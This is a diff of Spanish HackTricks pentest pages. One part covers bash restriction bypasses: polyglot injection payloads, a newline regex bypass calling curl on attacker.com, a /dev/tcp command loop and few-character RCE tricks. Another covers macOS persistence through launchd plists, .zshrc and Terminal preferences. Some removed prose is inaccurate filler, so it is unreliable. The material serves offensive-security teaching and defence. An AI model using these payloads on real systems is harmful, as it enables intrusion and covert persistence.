1. Install the Tor browser on your system.
|
||||
2. Launch the Tor browser and configure it if necessary.
|
||||
3. Access the blocked IP by entering its address in the Tor browser's address bar.
|
||||
4. Tor will route your connection through its network, allowing you to access the blocked IP anonymously.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Bypassing IP restrictions can be achieved using various methods such as using a proxy server, a VPN, or Tor. These methods provide you with alternative routes to access blocked IPs and overcome restrictions. However, it's important to note that bypassing IP restrictions may be against the terms of service of certain websites or networks, so use these techniques responsibly and ethically.
|
||||
### Evadir IPs
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Exfiltración de datos basada en el tiempo
|
||||
|
||||
La exfiltración de datos basada en el tiempo es una técnica utilizada para extraer información de un sistema comprometido de forma encubierta y gradual, evitando así la detección. En lugar de enviar grandes cantidades de datos de una sola vez, esta técnica divide la información en pequeñas partes y la envía en intervalos de tiempo específicos.
|
||||
|
||||
#### Comandos útiles de Linux para eludir restricciones de Bash
|
||||
|
||||
A continuación se presentan algunos comandos útiles de Linux que se pueden utilizar para eludir las restricciones de Bash y llevar a cabo la exfiltración de datos basada en el tiempo:
|
||||
|
||||
1. **sleep**: El comando `sleep` se utiliza para pausar la ejecución de un script durante un período de tiempo especificado. Puede ser utilizado para establecer intervalos de tiempo entre la exfiltración de datos.
|
||||
|
||||
```bash
|
||||
sleep <segundos>
|
||||
```
|
||||
|
||||
2. **date**: El comando `date` muestra la fecha y hora actual del sistema. Puede ser utilizado para registrar el tiempo de exfiltración de datos.
|
||||
|
||||
```bash
|
||||
date
|
||||
```
|
||||
|
||||
3. **ping**: El comando `ping` se utiliza para enviar paquetes de datos a una dirección IP específica. Puede ser utilizado para enviar pequeñas partes de datos a un servidor remoto en intervalos de tiempo específicos.
|
||||
|
||||
```bash
|
||||
ping -c 1 <dirección IP>
|
||||
```
|
||||
|
||||
4. **curl**: El comando `curl` se utiliza para transferir datos desde o hacia un servidor utilizando varios protocolos. Puede ser utilizado para enviar datos a un servidor remoto en intervalos de tiempo específicos.
|
||||
|
||||
```bash
|
||||
curl -X POST -d "<datos>" <URL>
|
||||
```
|
||||
|
||||
Estos comandos pueden ser combinados y utilizados de manera creativa para llevar a cabo la exfiltración de datos basada en el tiempo de manera efectiva y encubierta. Sin embargo, es importante tener en cuenta que el uso de estas técnicas puede ser ilegal y violar la privacidad de otras personas. Se recomienda utilizar estas técnicas solo con fines educativos y éticos, y obtener el permiso adecuado antes de realizar cualquier prueba de penetración.
|
||||
### Exfiltración de datos basada en tiempo
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Obteniendo caracteres de las variables de entorno
|
||||
|
||||
En algunas situaciones, es posible que te encuentres con restricciones en el intérprete de comandos Bash que te impidan ejecutar ciertos comandos o acceder a ciertos archivos. Sin embargo, aún puedes obtener información valiosa utilizando los caracteres almacenados en las variables de entorno.
|
||||
|
||||
Aquí hay un ejemplo de cómo puedes hacerlo:
|
||||
|
||||
```bash
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
|
||||
```
|
||||
|
||||
En este caso, la variable de entorno `$PATH` contiene múltiples rutas separadas por dos puntos (`:`). Puedes utilizar el comando `cut` para extraer cada una de estas rutas por separado:
|
||||
|
||||
```bash
|
||||
$ echo $PATH | cut -d ":" -f 1
|
||||
/usr/local/sbin
|
||||
$ echo $PATH | cut -d ":" -f 2
|
||||
/usr/local/bin
|
||||
$ echo $PATH | cut -d ":" -f 3
|
||||
/usr/sbin
|
||||
...
|
||||
```
|
||||
|
||||
De esta manera, puedes obtener información sobre las rutas almacenadas en la variable de entorno `$PATH`. Ten en cuenta que este enfoque también se puede aplicar a otras variables de entorno que contengan información relevante.
|
||||
|
||||
Recuerda que siempre debes utilizar esta técnica de manera ética y legal, y solo en sistemas en los que tengas permiso para hacerlo.
|
||||
### Obtención de caracteres de variables de entorno
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -354,10 +163,10 @@ echo ${PATH:0:1} #/
|
|||
|
||||
Podrías usar **burpcollab** o [**pingb**](http://pingb.in) por ejemplo.
|
||||
|
||||
### Funciones internas
|
||||
### Comandos integrados
|
||||
|
||||
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de funciones internas para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todas** las **funciones internas**, por lo que debes **conocer todas tus opciones** para intentar evadir la restricción. Idea de [**devploit**](https://twitter.com/devploit).\
|
||||
En primer lugar, verifica todas las [**funciones internas del shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** A continuación, aquí tienes algunas **recomendaciones**:
|
||||
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de comandos integrados para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todos** los **comandos integrados**, por lo que deberías **conocer todas tus opciones** para intentar eludir la restricción. Idea de [**devploit**](https://twitter.com/devploit).\
|
||||
Primero que nada, revisa todos los [**comandos integrados del shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -410,69 +219,21 @@ export PATH=/tmp:$PATH
|
|||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Inyección de comandos políglota
|
||||
|
||||
La inyección de comandos políglota es una técnica utilizada para evadir las restricciones de Bash y ejecutar comandos arbitrarios en un sistema. Esta técnica se basa en aprovechar las diferencias en la interpretación de comandos entre diferentes lenguajes de programación.
|
||||
|
||||
Un ejemplo común de inyección de comandos políglota es el uso de la función `eval()` en lenguajes como PHP o Python. Esta función permite ejecutar código arbitrario como si fuera parte del programa en sí. Al combinar esta función con la sintaxis de comandos de Bash, es posible ejecutar comandos en el sistema objetivo.
|
||||
|
||||
Aquí hay un ejemplo de inyección de comandos políglota utilizando la función `eval()` en PHP:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$payload = "'; echo 'Command executed'; //";
|
||||
eval($payload);
|
||||
?>
|
||||
```
|
||||
|
||||
En este ejemplo, el comando `echo 'Command executed'` se ejecutará en el sistema objetivo. El punto y coma al principio del payload se utiliza para cerrar cualquier comando anterior y evitar errores de sintaxis.
|
||||
|
||||
Es importante tener en cuenta que la inyección de comandos políglota puede ser peligrosa y debe utilizarse con precaución. Los sistemas deben estar debidamente protegidos para evitar este tipo de ataques.
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Bypassar posibles regexes
|
||||
|
||||
A veces, al intentar ejecutar comandos en un sistema Linux, puedes encontrarte con restricciones que utilizan expresiones regulares (regexes) para filtrar o bloquear ciertos caracteres o patrones. Sin embargo, existen formas de eludir estas restricciones y ejecutar comandos de todos modos.
|
||||
|
||||
Aquí hay algunos métodos comunes para evitar las restricciones basadas en regexes:
|
||||
|
||||
1. **Usar caracteres de escape**: Puedes utilizar caracteres de escape, como la barra invertida (\), para evitar que los caracteres sean interpretados como parte de una expresión regular. Por ejemplo, si una restricción bloquea el carácter punto (.), puedes usar el comando `ls \.` para listar los archivos que comienzan con un punto.
|
||||
|
||||
2. **Utilizar comillas**: Las comillas simples ('') o dobles ("") pueden ayudarte a evitar que los caracteres sean interpretados como parte de una expresión regular. Por ejemplo, si una restricción bloquea el carácter asterisco (*), puedes usar el comando `ls '*'` para listar los archivos que contienen un asterisco en su nombre.
|
||||
|
||||
3. **Cambiar el orden de los caracteres**: A veces, cambiar el orden de los caracteres puede evitar que sean detectados por una expresión regular. Por ejemplo, si una restricción bloquea el carácter punto y coma (;), puedes intentar ejecutar el comando `ls ;echo "Hello"` para listar los archivos y mostrar el mensaje "Hello" al mismo tiempo.
|
||||
|
||||
Recuerda que eludir restricciones basadas en regexes puede ser considerado un comportamiento no autorizado y puede tener consecuencias legales. Solo debes utilizar estos métodos con fines educativos y éticos, y siempre obtener el permiso adecuado antes de realizar cualquier prueba de penetración.
|
||||
### Evitar posibles expresiones regulares
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
|
||||
Bashfuscator es una herramienta que se utiliza para ofuscar scripts de Bash con el objetivo de evadir restricciones y evitar la detección. Esta herramienta reescribe el código de Bash de manera que sea más difícil de entender y analizar para los sistemas de seguridad.
|
||||
|
||||
El Bashfuscator utiliza técnicas como la ofuscación de variables, la mezcla de caracteres y la inserción de código adicional para dificultar la comprensión del script. Esto puede ayudar a evitar la detección de patrones y a eludir las restricciones impuestas por los sistemas de seguridad.
|
||||
|
||||
Es importante tener en cuenta que el Bashfuscator no garantiza una protección completa contra la detección y el análisis de scripts de Bash. Sin embargo, puede ser una herramienta útil en ciertos escenarios donde se requiere evadir restricciones y mantener la confidencialidad de un script.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### RCE con 5 caracteres
|
||||
|
||||
En algunos casos, cuando se enfrenta a restricciones de Bash, puede ser necesario encontrar una forma de ejecutar comandos remotos (RCE) utilizando solo 5 caracteres. Aquí hay una técnica que puede ayudar:
|
||||
|
||||
```bash
|
||||
$ echo $0
|
||||
bash
|
||||
$ exec 5<>/dev/tcp/127.0.0.1/1337
|
||||
$ cat <&5 | while read line; do $line 2>&5 >&5; done
|
||||
```
|
||||
|
||||
Este código establece una conexión TCP con la dirección IP `127.0.0.1` en el puerto `1337`. Luego, redirige la entrada y salida estándar del descriptor de archivo 5 al comando `cat`, que lee los comandos enviados a través de la conexión TCP. Cada línea leída se ejecuta utilizando la sintaxis `$line 2>&5 >&5`, lo que permite la ejecución remota de comandos.
|
||||
|
||||
Para utilizar esta técnica, simplemente reemplace la dirección IP y el puerto con los correspondientes a su caso de uso. Tenga en cuenta que esta técnica puede no funcionar en todas las configuraciones y puede estar sujeta a restricciones adicionales.
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
|
@ -520,23 +281,6 @@ ln /f*
|
|||
## to it in the current folder
|
||||
```
|
||||
### RCE con 4 caracteres
|
||||
|
||||
En algunos casos, cuando se enfrenta a restricciones de Bash, puede ser útil conocer comandos que se pueden ejecutar con solo 4 caracteres. Estos comandos pueden ser útiles para lograr la ejecución remota de código (RCE) en situaciones en las que se restringe el uso de ciertos caracteres o comandos.
|
||||
|
||||
A continuación se muestra una lista de comandos de 4 caracteres que se pueden utilizar para el RCE:
|
||||
|
||||
- `echo`: Imprime un mensaje en la salida estándar.
|
||||
- `true`: Devuelve un estado de éxito.
|
||||
- `false`: Devuelve un estado de error.
|
||||
- `read`: Lee una línea de entrada y la asigna a una variable.
|
||||
- `exec`: Ejecuta un comando en el mismo proceso.
|
||||
- `kill`: Envía una señal a un proceso.
|
||||
- `test`: Evalúa una expresión y devuelve un estado de éxito o error.
|
||||
- `time`: Mide el tiempo de ejecución de un comando.
|
||||
- `wait`: Espera a que finalicen los procesos secundarios.
|
||||
- `trap`: Captura y maneja señales.
|
||||
|
||||
Estos comandos pueden ser útiles para sortear restricciones y lograr la ejecución de comandos en situaciones en las que se limita el uso de caracteres o comandos más largos. Sin embargo, es importante tener en cuenta que el uso de estos comandos puede depender del contexto y de las restricciones específicas del entorno en el que se está trabajando.
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -571,15 +315,15 @@ Estos comandos pueden ser útiles para sortear restricciones y lograr la ejecuci
|
|||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Bypass de Restricciones de Solo Lectura/Noexec/Distroless
|
||||
## Bypass de Solo Lectura/Noexec/Distroless
|
||||
|
||||
Si te encuentras dentro de un sistema de archivos con protecciones de solo lectura y noexec, o incluso en un contenedor distroless, aún hay formas de ejecutar binarios arbitrarios, ¡incluso una shell!:
|
||||
Si te encuentras dentro de un sistema de archivos con las protecciones de **solo lectura y noexec** o incluso en un contenedor distroless, aún hay formas de **ejecutar binarios arbitrarios, ¡incluso una shell!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypass de Chroot y otras Jaulas
|
||||
## Bypass de Chroot y otros Jails
|
||||
|
||||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
|
@ -592,22 +336,24 @@ Si te encuentras dentro de un sistema de archivos con protecciones de solo lectu
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repos de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,22 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Esta sección se basa en gran medida en la serie de blogs [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), el objetivo es agregar **más Ubicaciones de Autostart** (si es posible), indicar **qué técnicas siguen funcionando** hoy en día con la última versión de macOS (13.4) y especificar los **permisos** necesarios.
|
||||
Esta sección se basa en gran medida en la serie de blogs [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), el objetivo es agregar **más Ubicaciones de Autostart** (si es posible), indicar **qué técnicas siguen funcionando** actualmente con la última versión de macOS (13.4) y especificar los **permisos** necesarios.
|
||||
|
||||
## Bypass de Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten ejecutar algo simplemente **escribiéndolo en un archivo** y **esperando** una **acción muy común**, una cantidad determinada de **tiempo** o una **acción que normalmente puedes realizar** desde dentro de un sandbox sin necesidad de permisos de root.
|
||||
Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten ejecutar algo simplemente **escribiéndolo en un archivo** y **esperando** una **acción muy común**, un **tiempo determinado** o una **acción que normalmente puedes realizar** desde dentro de un sandbox sin necesidad de permisos de root.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -46,12 +48,12 @@ Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox**
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
**`launchd`** es el **primer** **proceso** ejecutado por el kernel de OS X al iniciar y el último en finalizar al apagar. Siempre debe tener el **PID 1**. Este proceso **leerá y ejecutará** las configuraciones indicadas en los **plists** de **ASEP** en:
|
||||
**`launchd`** es el **primer** **proceso** ejecutado por el kernel de OS X al iniciar y el último en terminar al apagar. Siempre debe tener el **PID 1**. Este proceso **leerá y ejecutará** las configuraciones indicadas en los **plists ASEP** en:
|
||||
|
||||
* `/Library/LaunchAgents`: Agentes por usuario instalados por el administrador
|
||||
* `/Library/LaunchDaemons`: Daemons de todo el sistema instalados por el administrador
|
||||
* `/Library/LaunchDaemons`: Daemons de sistema instalados por el administrador
|
||||
* `/System/Library/LaunchAgents`: Agentes por usuario proporcionados por Apple.
|
||||
* `/System/Library/LaunchDaemons`: Daemons de todo el sistema proporcionados por Apple.
|
||||
* `/System/Library/LaunchDaemons`: Daemons de sistema proporcionados por Apple.
|
||||
|
||||
Cuando un usuario inicia sesión, los plists ubicados en `/Users/$USER/Library/LaunchAgents` y `/Users/$USER/Library/LaunchDemons` se inician con los **permisos del usuario conectado**.
|
||||
|
||||
|
@ -78,7 +80,7 @@ La **principal diferencia entre agentes y daemons es que los agentes se cargan c
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Existen casos donde un **agente necesita ejecutarse antes de que el usuario inicie sesión**, a estos se les llama **PreLoginAgents**. Por ejemplo, esto es útil para proporcionar tecnología asistiva en el inicio de sesión. También se pueden encontrar en `/Library/LaunchAgents` (vea [**aquí**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un ejemplo).
|
||||
Existen casos donde un **agente necesita ser ejecutado antes de que el usuario inicie sesión**, a estos se les llama **PreLoginAgents**. Por ejemplo, esto es útil para proporcionar tecnología asistiva en el inicio de sesión. También se pueden encontrar en `/Library/LaunchAgents` (vea [**aquí**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un ejemplo).
|
||||
|
||||
{% hint style="info" %}
|
||||
Los nuevos archivos de configuración de Daemons o Agents serán **cargados después del próximo reinicio o usando** `launchctl load <target.plist>`. Es **también posible cargar archivos .plist sin esa extensión** con `launchctl -F <file>` (sin embargo, esos archivos plist no se cargarán automáticamente después del reinicio).\
|
||||
|
@ -126,14 +128,14 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Los archivos de inicio de shell se ejecutan cuando nuestro entorno de shell como `zsh` o `bash` está **iniciando**. macOS por defecto usa `/bin/zsh` en estos días, y **cada vez que abrimos `Terminal` o nos conectamos por SSH** al dispositivo, este es el entorno de shell en el que nos encontramos. `bash` y `sh` todavía están disponibles, sin embargo, deben ser iniciados específicamente.
|
||||
Los archivos de inicio de shell se ejecutan cuando nuestro entorno de shell como `zsh` o `bash` está **iniciando**. macOS por defecto usa `/bin/zsh` en estos días, y **cada vez que abrimos `Terminal` o nos conectamos por SSH** al dispositivo, este es el entorno de shell al que accedemos. `bash` y `sh` todavía están disponibles, sin embargo, deben ser iniciados específicamente.
|
||||
|
||||
La página de manual de zsh, que podemos leer con **`man zsh`**, tiene una larga descripción de los archivos de inicio.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
```
|
||||
### Aplicaciones reabiertas
|
||||
### Aplicaciones Reabiertas
|
||||
|
||||
{% hint style="danger" %}
|
||||
Configurar la explotación indicada y cerrar sesión o incluso reiniciar no funcionó para ejecutar la aplicación. (La aplicación no se estaba ejecutando, tal vez necesite estar en funcionamiento cuando se realizan estas acciones)
|
||||
|
@ -151,9 +153,9 @@ Configurar la explotación indicada y cerrar sesión o incluso reiniciar no func
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Todas las aplicaciones a reabrir están dentro del plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
Todas las aplicaciones para reabrir están dentro del plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
|
||||
Entonces, para hacer que las aplicaciones reabiertas inicien la tuya, solo necesitas **agregar tu aplicación a la lista**.
|
||||
Entonces, para hacer que las aplicaciones reabiertas inicien tu propia aplicación, solo necesitas **agregar tu app a la lista**.
|
||||
|
||||
El UUID se puede encontrar listando ese directorio o con `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||
|
||||
|
@ -208,7 +210,7 @@ Esta configuración se refleja en el archivo **`~/Library/Preferences/com.apple.
|
|||
}
|
||||
[...]
|
||||
```
|
||||
Entonces, si el plist de las preferencias del terminal en el sistema pudiera ser sobrescrito, la funcionalidad **`open`** puede ser utilizada para **abrir el terminal y ese comando será ejecutado**.
|
||||
Así que, si el plist de las preferencias del terminal en el sistema pudiera ser sobrescrito, entonces la funcionalidad **`open`** puede ser utilizada para **abrir el terminal y ese comando será ejecutado**.
|
||||
|
||||
Puedes agregar esto desde la cli con:
|
||||
|
||||
|
@ -236,7 +238,7 @@ Puedes agregar esto desde la cli con:
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Si creas un [**script `.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) y lo abres, la **aplicación Terminal** se invocará automáticamente para ejecutar los comandos indicados en él. Si la aplicación Terminal tiene algunos privilegios especiales (como TCC), tu comando se ejecutará con esos privilegios especiales.
|
||||
Si creas un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) y lo abres, la **aplicación Terminal** se invocará automáticamente para ejecutar los comandos indicados en él. Si la aplicación Terminal tiene algunos privilegios especiales (como TCC), tu comando se ejecutará con esos privilegios especiales.
|
||||
|
||||
Pruébalo con:
|
||||
```bash
|
||||
|
@ -297,7 +299,7 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
#### Descripción
|
||||
|
||||
Según los writeups anteriores es posible **compilar algunos plugins de audio** y cargarlos.
|
||||
Según los writeups anteriores es posible **compilar algunos plugins de audio** y conseguir que se carguen.
|
||||
|
||||
### Plugins de QuickLook
|
||||
|
||||
|
@ -317,14 +319,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Los plugins de QuickLook pueden ejecutarse cuando **activas la vista previa de un archivo** (presionas la barra espaciadora con el archivo seleccionado en Finder) y está instalado un **plugin que soporte ese tipo de archivo**.
|
||||
Los plugins de QuickLook pueden ejecutarse cuando **activas la vista previa de un archivo** (presiona la barra espaciadora con el archivo seleccionado en Finder) y hay un **plugin instalado que soporte ese tipo de archivo**.
|
||||
|
||||
Es posible compilar tu propio plugin de QuickLook, colocarlo en una de las ubicaciones anteriores para cargarlo y luego ir a un archivo compatible y presionar espacio para activarlo.
|
||||
|
||||
### ~~Hooks de Inicio/Cierre de Sesión~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Esto no funcionó para mí, ni con el LoginHook de usuario ni con el LogoutHook de root
|
||||
Esto no funcionó para mí, ni con el LoginHook del usuario ni con el LogoutHook de root
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
@ -395,7 +397,7 @@ crontab -l
|
|||
```
|
||||
También puedes ver todos los trabajos de cron de los usuarios en **`/usr/lib/cron/tabs/`** y **`/var/at/tabs/`** (requiere root).
|
||||
|
||||
En MacOS, se pueden encontrar varias carpetas que ejecutan scripts con **cierta frecuencia** en:
|
||||
En MacOS se pueden encontrar varias carpetas que ejecutan scripts con **cierta frecuencia** en:
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
|
